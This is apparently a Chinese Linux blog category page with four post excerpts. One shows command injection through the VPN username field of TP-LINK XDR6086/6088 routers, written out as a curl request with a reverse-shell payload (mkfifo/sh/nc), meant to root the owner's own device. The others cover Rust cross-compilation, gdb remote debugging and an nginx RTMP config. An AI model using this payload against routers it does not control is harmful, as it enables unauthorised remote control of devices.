分类 Linux 下的文章

TP-LINK XDR6086/XDR6088 反弹 SHELL 并开启 SSH

shell 注入方法来源:https://forum.openwrt.org/t/adding-support-for-tp-link-xdr-6086/140637/17

准备工作

1.先登录路由器 Web 界面,在 VPN 设置里添加一个 L2TP-服务端,再随便添加一个用户(如果不想手填用户信息,也可以使用后面提供的 curl 命令来创建用户)。
2.使用 nc 监听本地端口,比如 2000, Windows 可以安装 nmap,然后使用 nmap 带的 ncat 命令(在 nmap 安装目录)

nc -lp 2000

或(Windows 系统最好临时关闭一下防火墙)

ncat -lp 2000

获取 stok

按 F12 打开浏览器调试控制台,找到形如 http://192.168.0.1/stok=xxxx/ds 的 URL,chrome 浏览器的话,在“网络”标签页找到“名称”是 “ds” 的请求,单击它,然后在右侧窗口单击“标头”就可以看到了。

反弹 shell

反弹 shell 是通过在 VPN 用户名里注入 shell 命令,并且在禁用用户的时候执行,所以需要先启用用户(新建用户默认是启用的)。

创建用户(如果没用在界面创建的话)

注意把 json 里的 192.168.0.100 替换成你自己的 IP(即执行 nc/ncat -lp 2000 的机器的 IP,如果不想改 json 中的 IP,也可以改机器的 IP )。

curl http://192.168.0.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.0.100 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

执行成功的话,返回如下:

{"error_code":0}

- 阅读剩余部分 -

在 Arch Linux 下为 Windows 编译 Rust 程序

假设已经安装了 Rust 的工具链。

添加 x86_64-pc-windows-gnu target:

rustup target add x86_64-pc-windows-gnu

安装 mingw-w64 工具链:

pacman -S mingw-w64-crt mingw-w64-binutils mingw-w64-winpthreads mingw-w64-headers mingw-w64-gcc

设置链接器

~/.cargo/config 中加入以下内容:

[target.x86_64-pc-windows-gnu]
linker = "x86_64-w64-mingw32-gcc"

[target.i686-pc-windows-gnu]
linker = "i686-w64-mingw32-gcc"

- 阅读剩余部分 -

在 vscode 中使用 gdb 跨平台远程调试 C/C++ 代码

重新编译安装 gdb

要使用 gdb 跨平台远程调试,需要在编译 gdb 的时候开启相关的支持选项,简单的说在 configure 选项中加入 --enable-targets=all

archlinux 用户可以使用 asp 来获取 gdb 的 PKGBUILD,做如下修改:

build() {
  cd gdb-$pkgver
  
  ./configure --prefix=/usr --disable-nls \
    --enable-targets=all \
    --with-system-readline \
    --with-python=/usr/bin/python3 \
    --with-guile=guile-2.0 \
    --with-system-gdbinit=/etc/gdb/gdbinit
  make
}

然后运行 makepkg -si 编译安装,应该会报签名无法验证的错误,这时候需要我们先导入 PGP 公钥:

gpg --keyserver pgp.ustc.edu.cn  --recv-keys 92EDB04BFF325CF3

然后再运行 makepkg -si

- 阅读剩余部分 -

借助 Nginx 搭建带简单认证的直播推流服务器,实现多平台同步直播

原理

使用 nginx-rtmp-module 接收 rtmp 流,然后同时推送到多个直播平台,同时使用 lua-nginx-module 来做简单的身份验证。

安装必须的 nginx 模块

debian 9 用户可以直接使用 apt 安装,需启用 stretch-backports 源:

sudo apt install libnginx-mod-rtmp libnginx-mod-http-lua -t stretch-backports

nginx 配置

Gist: nginx.conf

# file: nginx.conf
# date: 2018-10-13
# license: GPLv3 https://www.gnu.org/licenses/gpl-3.0.txt
# author: nanpuyue <[email protected]> https://blog.nanpuyue.com

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
}

rtmp {
    server{
        listen 1935;
        chunk_size 10240;

        application live {
            live on;
            record off;
            on_publish http://127.0.0.1:2080/auth;
            push rtmp://live.twitch.tv/app/xxxxxxxxxx;
            push rtmp://a.rtmp.youtube.com/xxxxxxxxxx;
        }
    }
}  

http {
    server {
        listen 127.0.0.1:2080;
        location /auth {
            rewrite_by_lua '
                ngx.req.read_body()
                local name = ngx.req.get_post_args().name
                if (name == "xxxxxxxxxx") then
                    ngx.status = 200
                    ngx.say("OK")
                    ngx.exit(200)
                else
                    ngx.status = 403
                    ngx.say("Forbidden")
                    ngx.exit(403)
                end
            ';
        }
    }
}

- 阅读剩余部分 -